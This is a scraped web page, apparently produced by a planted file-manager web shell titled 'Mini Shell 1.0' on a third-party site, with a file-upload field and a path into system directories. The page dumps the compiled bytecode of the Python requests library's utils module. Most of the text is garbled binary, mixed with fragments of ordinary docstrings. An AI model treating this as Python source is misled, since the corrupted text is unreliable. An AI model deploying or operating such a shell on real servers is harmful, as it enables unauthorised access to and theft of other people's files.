HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/requests/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/requests/__pycache__/utils.cpython-311.pyc
�

k�b́��^�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZmZddlmZddlmZddlmZmZdd	lmZmZmZmZmZmZdd
lmZddlm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&ddl'm(Z(dd
l)m*Z*m+Z+m,Z,m-Z-ddl.m/Z/dZ0ej1��Z2ddd�Z3d�4ej5ded���d����Z6ej7dkrd�Z8d�Z d�Z9d�Z:dJd�Z;d�Z<d �Z=ej>d!���Z?d"�Z@d#�ZAd$�ZBd%�ZCdJd&�ZDd'�ZEd(�ZFd)�ZGd*�ZHd+�ZId,�ZJd-�ZKd.�ZLeMd/��ZNd0�ZOd1�ZPd2�ZQd3�ZRd4�ZSd5�ZTej>d6���ZUd7�ZVdKd8�ZWd9�ZXdLd:�ZYdMd<�ZZd=�Z[d>�Z\d?�]d@��Z^e^dAzZ_e^dBzZ`dC�ZadD�ZbdE�ZcdF�ZddG�ZedH�ZfdI�ZgdS)Nz�
requests.utils
~~~~~~~~~~~~~~

This module provides utility functions that are used within Requests
that are also useful for external consumption.
�N)�OrderedDict)�make_headers�	parse_url�)�certs��__version__)�HEADER_VALIDATORS�to_native_string)�Mapping�
basestring�bytes�
getproxies�getproxies_environment�
integer_types)�parse_http_list)�proxy_bypass�proxy_bypass_environment�quote�str�unquote�urlparse�
urlunparse��cookiejar_from_dict)�FileModeWarning�
InvalidHeader�
InvalidURL�UnrewindableBodyError)�CaseInsensitiveDict)z.netrc�_netrc�Pi�)�http�httpsz, z,\s*T)�accept_encodingzaccept-encoding�win32c�L�	ddl}n#t$rYdSwxYw	|�|jd��}t	|�|d��d��}|�|d��d}n#ttf$rYdSwxYw|r|sdS|�d��}|D]t}|dkrd|vrd	S|�	dd
��}|�	dd��}|�	d
d��}tj||tj��rd	S�udS)NrFz;Software\Microsoft\Windows\CurrentVersion\Internet Settings�ProxyEnable�
ProxyOverride�;z<local>�.Tz\.�*z.*�?)
�winreg�ImportError�OpenKey�HKEY_CURRENT_USER�int�QueryValueEx�OSError�
ValueError�split�replace�re�match�I)�hostr.�internetSettings�proxyEnable�
proxyOverride�tests      �0/usr/lib/python3/dist-packages/requests/utils.py�proxy_bypass_registryrAGsv��	��M�M�M�M���	�	�	��5�5�	����
	�%�~�~��(�N� � ��
�f�1�1�2B�M�R�R�ST�U�V�V�K�"�/�/�0@�/�R�R�ST�U�M�M����$�	�	�	��5�5�	�����	�-�	��5�
&�+�+�C�0�0�
�!�	�	�D��y� � ��d�?�?��4�4��<�<��U�+�+�D��<�<��U�+�+�D��<�<��T�*�*�D��x��d�B�D�)�)�
��t�t�
��us��
��A A:�:B�Bc�Z�t��rt|��St|��S)z�Return True, if the host should be bypassed.

        Checks proxy settings gathered from the environment, if specified,
        or the registry.
        )rrrA)r;s r@rrks.��"�#�#�	/�+�D�1�1�1�(��.�.�.�c�N�t|d��r|���}|S)z/Returns an internal sequence dictionary update.�items)�hasattrrE)�ds r@�dict_to_sequencerHws(���q�'����
�G�G�I�I���HrCc���d}d}t|d��rt|��}n�t|d��r|j}n~t|d��rn	|���}tj|��j}d|jvrtjdt��n#tjtf$rYnwxYwt|d��r�	|�
��}t|d��rW|�U	|�dd	��|�
��}|�|pd��n'#t$rd}YnwxYwn#t$r|�|}YnwxYw|�d}t!d||z
��S)
Nr�__len__�len�fileno�ba%Requests has determined the content-length for this request using the binary size of the file: however, the file has been opened in text mode (i.e. without the 'b' flag in the mode). This may lead to an incorrect content-length. In Requests 3.0, support will be removed for files in text mode.�tell�seek�)rFrKrL�os�fstat�st_size�mode�warnings�warnr�io�UnsupportedOperation�AttributeErrorrNrOr4�max)�o�total_length�current_positionrLs    r@�	super_lenr^�s����L����q�)�����1�v�v���	��E�	�	���u���	��H�	�	��	��X�X�Z�Z�F��8�F�+�+�3�L��!�&� � ��
�2�$�
�
�
����'��8�	�	�	�
�D�		����.�q�&���%�	%� �v�v�x�x���q�&�!�!�
%�l�&:�	%��F�F�1�a�L�L�L�#$�6�6�8�8�L��F�F�+�0�q�1�1�1�1���%�%�%�#$�L�L�L�%������%�	0�	0�	0�
�'�#/� ���
	0����*�����q�,�!1�1�2�2�2s7�B�B8�7B8�E�3AD5�5E�E�E�EFc���tj�d��}|�|f}nd�tD��}	ddlm}m}d}|D]X}	tj�|��}n#t$rYdSwxYwtj�	|��r|}n�Y|�dSt|��}	d}
t|t��r|
�
d��}
|	j�|
��d}	||���|��}|r|drdnd}
||
|d	fSdS#|t"f$r|r�YdSwxYw#t$t&f$rYdSwxYw)
z;Returns the Requests tuple auth for a given url from netrc.�NETRCNc3� K�|]	}d|��V��
dS)z~/N�)�.0�fs  r@�	<genexpr>z!get_netrc_auth.<locals>.<genexpr>�s(����9�9��8��8�8�9�9�9�9�9�9rCr)�NetrcParseError�netrc�:�asciirrP)rQ�environ�get�NETRC_FILESrgrf�path�
expanduser�KeyError�existsr�
isinstancer�decode�netlocr6�authenticatorsr4r/rY)�url�raise_errors�
netrc_file�netrc_locationsrfrg�
netrc_pathrd�loc�ri�splitstrr;r!�login_is              r@�get_netrc_authr~�s��������(�(�J���%�-���9�9�[�9�9�9��-
�0�0�0�0�0�0�0�0��
� �	�	�A�
��g�(�(��+�+�����
�
�
�����	
�����w�~�~�c�"�"�
� �
���
�
���F�
�c�]�]�����c�3���	0����w�/�/�H��y���x�(�(��+��
	��U�:�&�&�5�5�d�;�;�F��
4�%�a�y�/�!�!�a���w�����3�3�
4�
4�� ��)�	�	�	��
��
�
�
�	�����
��(�
�
�
����
���sZ�E�A'�&E�'
A6�1E�5A6�6)E�!AE�=;D;�;E�
E�
E�E�E&�%E&c���t|dd��}|rLt|t��r9|ddkr/|ddkr%tj�|��SdSdSdSdS)z0Tries to guess the filename of the given object.�nameNr�<����>)�getattrrqr
rQrm�basename)�objr�s  r@�guess_filenamer��sw���3���%�%�D��&�
�4��,�,�&��a��C���D��H�PS�O�O��w����%�%�%�&�&�&�&���O�OrCc��tj�|��r|Stj�|��\}}|r|tj�|��s]tj�|��\}}|sn8d�||g��}|rtj�|���]tj|��s|Stj|��}||���vr|Stj
��}tj�||�d��d��}tj�|��sOt|��5}|�|�
|����ddd��n#1swxYwY|S)z�Replace nonexistent paths that look like they refer to a member of a zip
    archive with the location of an extracted copy of the target, or else
    just return the provided path unchanged.
    �/r�N)rQrmrpr6�join�zipfile�
is_zipfile�ZipFile�namelist�tempfile�
gettempdir�atomic_open�write�read)rm�archive�member�prefix�zip_file�tmp�extracted_path�file_handlers        r@�extract_zipped_pathsr�s���

�w�~�~�d�������g�m�m�D�)�)�O�G�V�
�,�"�'�.�.��1�1�,��'�-�-��0�0�����	�
����6�6�*�+�+��
�,�"�'�.�.��1�1�,���g�&�&������w�'�'�H�
�X�&�&�(�(�(�(����
�
�
�C��W�\�\�#�v�|�|�C�'8�'8��'<�=�=�N�
�7�>�>�.�)�)�6�
��
(�
(�	6�L����x�}�}�V�4�4�5�5�5�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6����	6�	6�	6�	6��s�>)F3�3F7�:F7c#�HK�tjtj�|�����\}}	tj|d��5}|V�ddd��n#1swxYwYtj||��dS#t$rtj|���wxYw)z-Write a file to the disk in an atomic fashion)�dir�wbN)	r��mkstemprQrm�dirname�fdopenr7�
BaseException�remove)�filename�tmp_descriptor�tmp_name�tmp_handlers    r@r�r�'s����� (�/�B�G�O�O�H�4M�4M�N�N�N��N�H��
�Y�~�t�
,�
,�	������	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�
�
�8�X�&�&�&�&�&������
�	�(����
����s/�B�A�B�A#�#B�&A#�'B� B!c��|�dSt|ttttf��rtd���t
|��S)aTake an object and test to see if it can be represented as a
    dictionary. Unless it can not be represented as such, return an
    OrderedDict, e.g.,

    ::

        >>> from_key_val_list([('key', 'val')])
        OrderedDict([('key', 'val')])
        >>> from_key_val_list('string')
        Traceback (most recent call last):
        ...
        ValueError: cannot encode objects that are not 2-tuples
        >>> from_key_val_list({'key': 'val'})
        OrderedDict([('key', 'val')])

    :rtype: OrderedDict
    N�+cannot encode objects that are not 2-tuples)rqrr�boolr2r5r��values r@�from_key_val_listr�4sG��$
�}��t��%�#�u�d�C�0�1�1�H��F�G�G�G��u���rCc���|�dSt|ttttf��rtd���t|t��r|���}t|��S)a�Take an object and test to see if it can be represented as a
    dictionary. If it can be, return a list of tuples, e.g.,

    ::

        >>> to_key_val_list([('key', 'val')])
        [('key', 'val')]
        >>> to_key_val_list({'key': 'val'})
        [('key', 'val')]
        >>> to_key_val_list('string')
        Traceback (most recent call last):
        ...
        ValueError: cannot encode objects that are not 2-tuples

    :rtype: list
    Nr�)	rqrrr�r2r5rrE�listr�s r@�to_key_val_listr�Osd��"
�}��t��%�#�u�d�C�0�1�1�H��F�G�G�G��%��!�!�����
�
����;�;�rCc���g}t|��D]N}|dd�|dd�cxkrdkrnnt|dd���}|�|���O|S)aParse lists as described by RFC 2068 Section 2.

    In particular, parse comma-separated lists where the elements of
    the list may include quoted-strings.  A quoted-string could
    contain a comma.  A non-quoted string could have quotes in the
    middle.  Quotes are removed automatically after parsing.

    It basically works like :func:`parse_set_header` just that items
    may appear multiple times and case sensitivity is preserved.

    The return value is a standard :class:`list`:

    >>> parse_list_header('token, "quoted value"')
    ['token', 'quoted value']

    To create a header from the :class:`list` again, use the
    :func:`dump_header` function.

    :param value: a string with a list header.
    :return: :class:`list`
    :rtype: list
    Nrr��")�_parse_list_header�unquote_header_value�append)r��result�items   r@�parse_list_headerr�ms���.�F�"�5�)�)��������8�t�B�C�C�y�'�'�'�'�C�'�'�'�'�'�'��Q�r�T�
�3�3�D��
�
�d������MrCc���i}t|��D]a}d|vrd||<�|�dd��\}}|dd�|dd�cxkrdkrnnt|dd���}|||<�b|S)a^Parse lists of key, value pairs as described by RFC 2068 Section 2 and
    convert them into a python dict:

    >>> d = parse_dict_header('foo="is a fish", bar="as well"')
    >>> type(d) is dict
    True
    >>> sorted(d.items())
    [('bar', 'as well'), ('foo', 'is a fish')]

    If there is no value for a key it will be `None`:

    >>> parse_dict_header('key_without_value')
    {'key_without_value': None}

    To create a header from the :class:`dict` again, use the
    :func:`dump_header` function.

    :param value: a string with a dict header.
    :return: :class:`dict`
    :rtype: dict
    �=Nrr�r�)r�r6r�)r�r�r�r�s    r@�parse_dict_headerr��s���,�F�"�5�)�)�����d�?�?��F�4�L���j�j��a�(�(���e���!��9��b�c�c�
�)�)�)�)�c�)�)�)�)�)�(��q��t��5�5�E���t����MrCc���|r`|d|dcxkrdkrGnnD|dd�}|r|dd�dkr*|�dd���d	d��S|S)
z�Unquotes a header value.  (Reversal of :func:`quote_header_value`).
    This does not use the real unquoting but what browsers are actually
    using for quoting.

    :param value: the header value to unquote.
    :rtype: str
    rr�r�rNrPz\\�\z\")r7)r��is_filenames  r@r�r��s���
�
C��q��U�2�Y�-�-�-�-�#�-�-�-�-�-�
�a��d����	C�e�B�Q�B�i�6�1�1��=�=���.�.�6�6�u�c�B�B�B��LrCc�2�i}|D]}|j||j<�|S)z�Returns a key/value dictionary from a CookieJar.

    :param cj: CookieJar object to extract cookies from.
    :rtype: dict
    )r�r�)�cj�cookie_dict�cookies   r@�dict_from_cookiejarr��s/���K��0�0��#)�<��F�K� � ��rCc�"�t||��S)z�Returns a CookieJar from a key/value dictionary.

    :param cj: CookieJar to insert cookies into.
    :param cookie_dict: Dict of key/values to insert into CookieJar.
    :rtype: CookieJar
    r)r�r�s  r@�add_dict_to_cookiejarr��s���{�B�/�/�/rCc�`�tjdt��tjdtj���}tjdtj���}tjd��}|�|��|�|��z|�|��zS)zlReturns encodings from given content string.

    :param content: bytestring to extract encodings from.
    z�In requests 3.0, get_encodings_from_content will be removed. For more information, please see the discussion on issue #2266. (This warning should only appear once.)z!<meta.*?charset=["\']*(.+?)["\'>])�flagsz+<meta.*?content=["\']*;?charset=(.+?)["\'>]z$^<\?xml.*?encoding=["\']*(.+?)["\'>])rUrV�DeprecationWarningr8�compiler:�findall)�content�
charset_re�	pragma_re�xml_res    r@�get_encodings_from_contentr��s���

�M�
1�	�
�����@���M�M�M�J��
�I�QS�QU�V�V�V�I�
�Z�?�
@�
@�F�	���7�#�#�
�
�
�G�
$�
$�	%�
�.�.��
!�
!�	"�rCc��|�d��}|d���|dd�}}i}d}|D]�}|���}|rs|d}}|�d��}	|	dkr=|d|	��|��}||	dzd��|��}|||���<��||fS)	z�Returns content type and parameters from given header

    :param header: string
    :return: tuple containing content type and dictionary of
         parameters
    r*rrNz"' Tr�r�)r6�strip�find�lower)
�header�tokens�content_type�params�params_dict�items_to_strip�param�keyr��index_of_equalss
          r@�_parse_content_type_headerr��s����\�\�#�
�
�F�!�!�9�?�?�,�,�f�Q�R�R�j�&�L��K��N��-�-�����
�
���	-����C�#�j�j��o�o�O��"�$�$��,�_�,�-�3�3�N�C�C���o��1�3�3�4�:�:�>�J�J��',�K��	�	���$����$�$rCc��|�d��}|sdSt|��\}}d|vr|d�d��Sd|vrdSd|vrdSdS)	z}Returns encodings from given HTTP Header Dict.

    :param headers: dictionary to extract encoding from.
    :rtype: str
    zcontent-typeN�charsetz'"�textz
ISO-8859-1zapplication/json�utf-8)rkr�r�)�headersr�r�s   r@�get_encoding_from_headersr�s����;�;�~�.�.�L����t�5�l�C�C��L�&��F����i� �&�&�u�-�-�-�
�����|��\�)�)��w�*�)rCc#��K�|j�
|Ed{V��dStj|j��d���}|D]}|�|��}|r|V��|�dd���}|r|V�dSdS)zStream decodes an iterator.Nr7��errorsrCT)�final)�encoding�codecs�getincrementaldecoderrr)�iterator�r�decoder�chunk�rvs     r@�stream_decode_response_unicoder�.s�����	�z������������6�f�*�1�:�6�6�i�H�H�H�G�����
�^�^�E�
"�
"��
�	��H�H�H��	����4��	(�	(�B�	���������rCc#�K�d}|�|dkrt|��}|t|��kr)||||z�V�||z
}|t|��k�'dSdS)z Iterate over slices of a string.rN)rK)�string�slice_length�poss   r@�iter_slicesr�?s{����
�C���|�q�0�0��6�{�{��

��F���
�
��S�3��-�-�.�.�.�.��|�����F���
�
�
�
�
�
rCc�:�tjdt��g}t|j��}|r;	t|j|��S#t$r|�|��YnwxYw	t|j|d���S#t$r
|jcYSwxYw)z�Returns the requested content back in unicode.

    :param r: Response object to get unicode content from.

    Tried:

    1. charset from content-type
    2. fall back and replace all unicode characters

    :rtype: str
    z�In requests 3.0, get_unicode_from_response will be removed. For more information, please see the discussion on issue #2266. (This warning should only appear once.)r7r�)
rUrVr�r�r�rr��UnicodeErrorr��	TypeError)r��tried_encodingsr�s   r@�get_unicode_from_responser�Is���
�M�
1�	�
����O�)���3�3�H��-�	-��q�y�(�+�+�+���	-�	-�	-��"�"�8�,�,�,�,�,�	-������1�9�h�y�9�9�9�9�������y�������s#�A	�	A+�*A+�/B�B�BzBABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~c��|�d��}tdt|����D]�}||dd�}t|��dkr�|���ro	t	t|d����}n!#t$rtd|�d����wxYw|tvr|||dd�z||<��d||��||<��d||��||<��d	�	|��S)
z�Un-escape any percent-escape sequences in a URI that are unreserved
    characters. This leaves all reserved, illegal and non-ASCII bytes encoded.

    :rtype: str
    �%rrrP�z"Invalid percent-escape sequence: '�'N�)
r6�rangerK�isalnum�chrr2r5r�UNRESERVED_SETr�)�uri�parts�i�h�cs     r@�unquote_unreservedr	vs��
�I�I�c�N�N�E�
�1�c�%�j�j�
!�
!�
&�
&���!�H�Q�q�S�M���q�6�6�Q�;�;�1�9�9�;�;�;�
L���A�r�
�
�O�O�����
L�
L�
L� �!J�a�!J�!J�!J�K�K�K�
L�����N�"�"��u�Q�x����|�+��a���)�u�Q�x�>�>��a���%�5��8�~�~�E�!�H�H�
�7�7�5�>�>�s�-B�B)c��d}d}	tt|��|���S#t$rt||���cYSwxYw)z�Re-quote the given URI.

    This function passes the given URI through an unquote/quote cycle to
    ensure that it is fully and consistently quoted.

    :rtype: str
    z!#$%&'()*+,/:;=?@[]~z!#$&'()*+,/:;=?@[]~)�safe)rr	r)r�safe_with_percent�safe_without_percents   r@�requote_urir�sk��/��0��	5��'��,�,�3D�E�E�E�E���5�5�5��S�3�4�4�4�4�4�4�	5���s�$�A�Ac
��tjdtj|����d}|�d��\}}tjdtjtt
|��������d}tjdtj|����d|z}||z||zkS)z�This function allows you to check if an IP belongs to a network subnet

    Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24
             returns False if ip = 192.168.1.1 and net = 192.168.100.0/24

    :rtype: bool
    z=Lrr�)�struct�unpack�socket�	inet_atonr6�dotted_netmaskr2)�ip�net�ipaddr�netaddr�bits�netmask�networks       r@�address_in_networkr�s����]�4��!1�"�!5�!5�
6�
6�q�
9�F��I�I�c�N�N�M�G�T��m�D�&�"2�>�#�d�)�)�3L�3L�"M�"M�N�N�q�Q�G��m�D�&�"2�7�";�";�<�<�Q�?�'�I�G��W��'�G�"3�4�4rCc�l�ddd|z
zdz
z}tjtjd|����S)z�Converts mask from /xx format to xxx.xxx.xxx.xxx

    Example: if mask is 24 function returns 255.255.255.0

    :rtype: str
    l��r� z>I)r�	inet_ntoar�pack)�maskrs  r@rr�s8����b�4�i��1�,�,�D���F�K��d�3�3�4�4�4rCc�T�	tj|��n#t$rYdSwxYwdS)z
    :rtype: bool
    FT)rrr4)�	string_ips r@�is_ipv4_addressr$�sB������#�#�#�#�������u�u������4s��
%�%c�N�|�d��dkr�	t|�d��d��}n#t$rYdSwxYw|dks|dkrdS	t	j|�d��d��n#t$rYdSwxYwdSdS)zV
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    r�rFrrT)�countr2r6r5rrr4)�string_networkr!s  r@�
is_valid_cidrr(�s������C� � �A�%�%�	��~�+�+�C�0�0��3�4�4�D�D���	�	�	��5�5�	�����!�8�8�t�b�y�y��5�	���^�1�1�#�6�6�q�9�:�:�:�:���	�	�	��5�5�	�����u��4s#�(A�
A�A�$-B�
B �B c#�K�|du}|r.tj�|��}|tj|<	dV�|r"|�tj|=dS|tj|<dSdS#|r|�tj|=n|tj|<wxYw)z�Set the environment variable 'env_name' to 'value'

    Save previous value, yield, and then restore the previous value stored in
    the environment variable 'env_name'.

    If 'value' is None, do nothingN)rQrjrk)�env_namer��
value_changed�	old_values    r@�set_environr-�s�������%�M��%��J�N�N�8�,�,�	�$��
�8��1�
�����	1�� ��J�x�(�(�(�'0��
�8�$�$�$�		1�	1��=�	1�� ��J�x�(�(�'0��
�8�$�0�0�0�0s�A"�"#Bc���d�}|}|�|d��}t|��}|j�dS|r�d�|�dd���d��D��}t	|j��r<|D]8}t|��rt
|j|��rdS�*|j|krdS�9nR|j}|jr
|d	|j��z
}|D]4}|j�|��s|�|��rdS�5td|��5	t|j��}n#ttj
f$rd
}YnwxYwddd��n#1swxYwY|rdSd
S)zL
    Returns whether we should bypass proxies or not.

    :rtype: bool
    c��tj�|��p0tj�|�����S�N)rQrjrk�upper)r�s r@�	get_proxyz(should_bypass_proxies.<locals>.get_proxy�s1���z�~�~�c�"�"�A�b�j�n�n�S�Y�Y�[�[�&A�&A�ArCN�no_proxyTc3�K�|]}|�|V��	dSr0rb)rcr;s  r@rez(should_bypass_proxies.<locals>.<genexpr>s'����R�R�T�T�R�D�R�R�R�R�R�RrC� r��,�:F)r�hostnamer7r6r$r(r�port�endswithr-rr�r�gaierror)	rur3r2�no_proxy_arg�parsed�proxy_ip�host_with_portr;�bypasss	         r@�should_bypass_proxiesrA�s#��B�B�B�
�L����9�Z�(�(��
�c�]�]�F�
����t�� �S�R�X�%5�%5�c�2�%>�%>�%D�%D�S�%I�%I�R�R�R���6�?�+�+�	 �$�
 �
 �� ��*�*� �)�&�/�8�D�D�$�#�t�t�$��_��0�0� �4�4�1�	
 �$�_�N��{�
4��"3�f�k�"3�"3�3�� �
 �
 ���?�+�+�D�1�1� �^�5L�5L�T�5R�5R� � �4�4� �

�Z��	.�	.���	�!�&�/�2�2�F�F���6�?�+�	�	�	��F�F�F�	����	���������������������t��5s6�E�D)�(E�)E�E�E�E�E�Ec�D�t||���riSt��S)zA
    Return a dict of environment proxies.

    :rtype: dict
    �r3)rAr)rur3s  r@�get_environ_proxiesrD3s(���S�8�4�4�4���	��|�|�rCc��|pi}t|��}|j�.|�|j|�d����S|jdz|jz|jd|jzdg}d}|D]}||vr
||}n�|S)z�Select a proxy for the url, if applicable.

    :param url: The url being for the request
    :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs
    N�allz://zall://)rr8rk�scheme)ru�proxies�urlparts�
proxy_keys�proxy�	proxy_keys      r@�select_proxyrM?s����m��G���}�}�H��� ��{�{�8�?�G�K�K��,>�,>�?�?�?�	��%��(�"3�3����8�$�$�
�	�J�
�E����	������I�&�E��E� ��LrCc�d�|�|ni}|j}t|��j}|�d��}|���}|rct||���sRt
||���}|�||�d����}|r|�||��|S)a�This method takes proxy information from a request and configuration
    input to resolve a mapping of target proxies. This will consider settings
    such a NO_PROXY to strip proxy configurations.

    :param request: Request or PreparedRequest
    :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs
    :param trust_env: Boolean declaring whether to trust environment configs

    :rtype: dict
    Nr3rCrF)rurrGrk�copyrArD�
setdefault)	�requestrH�	trust_envrurGr3�new_proxies�environ_proxiesrKs	         r@�resolve_proxiesrUYs���!�,�g�g�"�G�
�+�C�
�c�]�]�
!�F��{�{�:�&�&�H��,�,�.�.�K��2�.�s�X�F�F�F�2�-�c�H�E�E�E���#�#�F�O�,?�,?��,F�,F�G�G���	2��"�"�6�5�1�1�1��rC�python-requestsc��|�dt��S)zO
    Return a string representing the default user agent.

    :rtype: str
    r�r)r�s r@�default_user_agentrXts���"�"�[�"�"�"rCc�L�tt��tddd���S)z9
    :rtype: requests.structures.CaseInsensitiveDict
    z*/*z
keep-alive)z
User-AgentzAccept-Encoding�Accept�
Connection)r rX�DEFAULT_ACCEPT_ENCODINGrbrCr@�default_headersr]}s2���,�.�.�6��&�		
�	
���rCc��g}d}|�|��}|s|Stjd|��D]�}	|�dd��\}}n#t$r|d}}YnwxYwd|�d��i}|�d��D]X}	|�d��\}}n#t$rYn0wxYw|�|��||�|��<�Y|�|����|S)	z�Return a list of parsed link headers proxies.

    i.e. Link: <http:/.../front.jpeg>; rel=front; type="image/jpeg",<http://.../back.jpeg>; rel=back;type="image/jpeg"

    :rtype: list
    z '"z, *<r*rr�ruz<> '"r�)r�r8r6r5r�)	r��links�
replace_chars�valrur��linkr�r�s	         r@�parse_header_linksrc�sA��
�E��M��K�K�
�&�&�E������x���&�&����	"��)�)�C��+�+�K�C�����	"�	"�	"��r��C�C�C�	"�����s�y�y��*�*�+���\�\�#�&�&�	H�	H�E�
�"�[�[��-�-�
��U�U���
�
�
����
����.3�[�[��-G�-G�D����=�)�)�*�*�
���T������Ls#�A�A!� A!�B,�,
B:�9B:�rirP�c���|dd�}|tjtjfvrdS|dd�tjkrdS|dd�tjtjfvrdS|�t��}|dkrd	S|dkr,|ddd�tkrd
S|ddd�tkrdS|dkr*|dd�tkrd
S|dd�tkrdSdS)z
    :rtype: str
    N�zutf-32rez	utf-8-sigrPzutf-16rr�z	utf-16-berz	utf-16-lez	utf-32-bez	utf-32-le)
r��BOM_UTF32_LE�BOM_UTF32_BE�BOM_UTF8�BOM_UTF16_LE�BOM_UTF16_BEr&�_null�_null2�_null3)�data�sample�	nullcounts   r@�guess_json_utfrs�s���"�1�"�X�F�
�&�%�v�':�;�;�;��x�
�b�q�b�z�V�_�$�$��{�
�b�q�b�z�f�)�6�+>�?�?�?��x����U�#�#�I��A�~�~��w��A�~�~��#�#�A�#�;�&� � ��;��!�$�Q�$�<�6�!�!��;��A�~�~��"�1�"�:�����;��!�"�"�:�����;��4rCc��t|��}|\}}}}}}}	|j}
|
s||
}}
|rd�||
g��}
|�|}|�d}t||
|d||	f��S)z�Given a URL that may or may not have a scheme, prepend the given scheme.
    Does not replace a present scheme with the one provided as an argument.

    :rtype: str
    �@Nr�)rrsr�r)ru�
new_schemer=rG�authr;r9rm�query�fragmentrss           r@�prepend_scheme_if_neededrz�s����s�^�^�F�6<�3�F�D�$��d�E�8��]�F��$��V����*����4��.�)�)��
�~����|����v�v�t�R���A�B�B�BrCc��t|��}	t|j��t|j��f}n#tt
f$rd}YnwxYw|S)z{Given a url with authentication components, extract them into a tuple of
    username,password.

    :rtype: (str,str)
    )r�r�)rr�username�passwordrYr�)rur=rws   r@�get_auth_from_urlr~�sd���c�]�]�F�����(�(�'�&�/�*B�*B�C�����I�&�������������Ks�(:�A�Ac
�R�|\}}|D]@}t|��tvr(td|�d|�d|�dt|��������At|dtt|��d��t|dtt|��d��d	S)
z�Verifies that header parts don't contain leading whitespace
    reserved characters, or return characters.

    :param header: tuple, in the format (name, value).
    z
Header part (z) from {�: z$} must be of type str or bytes, not r�rr�rN)�typer
r�_validate_header_part)r�r�r��parts    r@�check_header_validityr�s����K�D�%�������:�:�.�.�.��:��:�:��:�:�5�:�:�-1�$�Z�Z�:�:���
�/��$��(9�$�t�*�*�(E�a�(H�I�I�I��%��*;�D��K�K�*H��*K�L�L�L�L�LrCc�Z�|�|��std|�d|�����dS)NzSInvalid leading whitespace, reserved character(s), or returncharacter(s) in header r�)r9r)�header_part�header_kind�	validators   r@r�r�sV���?�?�;�'�'�
��
E�&1�
E�
E�5@�
E�
E�
�
�	
�
�
rCc��t|��\}}}}}}|s||}}|�dd��d}t|||||df��S)zW
    Given a url remove the fragment and the authentication part.

    :rtype: str
    rurr�r�)r�rsplitr)rurGrsrmr�rxrys       r@�
urldefragauthr�sb��5=�S�M�M�1�F�F�D�&�%���$��V���
�]�]�3��
"�
"�2�
&�F��v�v�t�V�U�B�?�@�@�@rCc���t|jdd��}|�Jt|jt��r0	||j��dS#t
$rt
d���wxYwt
d���)zfMove file pointer back to its recorded starting position
    so it can be read again on redirect.
    rONz;An error occurred when rewinding request body for redirect.z+Unable to rewind request body for redirect.)r��bodyrq�_body_positionrr4r)�prepared_request�	body_seeks  r@�rewind_bodyr�/s����(�-�v�t�<�<�I�����'��"�"��	��I�&�5�6�6�6�6�6���	�	�	�'�M���
�	����
$�$Q�R�R�Rs�A�A )Fr0)T)rV)h�__doc__r��
contextlibrWrQr8rr�sysr�rUr��collectionsr�urllib3.utilrrr�rr	�_internal_utilsr
r�compatrr
rrrrrr�rrrrrrr�cookiesr�
exceptionsrrrr�
structuresr rl�where�DEFAULT_CA_BUNDLE_PATH�
DEFAULT_PORTSr�r6r\�platformrArHr^r~r�r��contextmanagerr�r�r�r�r�r�r�r�r�r�r�r�r�r��	frozensetrr	rrrr$r(r-rArDrMrUrXr]rc�encodermrnrorsrzr~r�r�r�r�rbrCr@�<module>r�sw�����
�
�
�����	�	�	�	�	�	�	�	�	�	�	�	�
�
�
�
�
�
�
�
�
�
�
�
�������������#�#�#�#�#�#�0�0�0�0�0�0�0�0�������$�$�$�$�$�$�A�@�@�@�@�@�@�@�����������������:�9�9�9�9�9�������������������)�(�(�(�(�(�������������,�+�+�+�+�+�"��$�������c�*�*�
��)�)��B�H�W�l�l�4�8�8�8�9J�K�L�L����
�<�7���"�"�"�H	/�	/�	/�
�
�
�?3�?3�?3�D6
�6
�6
�6
�r&�&�&�"�"�"�J��	�	���	����6���<���@���F����2���0�0�0����2%�%�%�2���2���"���$�$�$�P��M����
���05�5�5�,5�5�5�5�5�5�������0��1�1���1�*9�9�9�x	�	�	�	����4����6#�#�#�#����"�"�"�L	�
�
�g����	����	�������@C�C�C�:
�
�
� M�M�M�&
�
�
�A�A�A�"S�S�S�S�SrC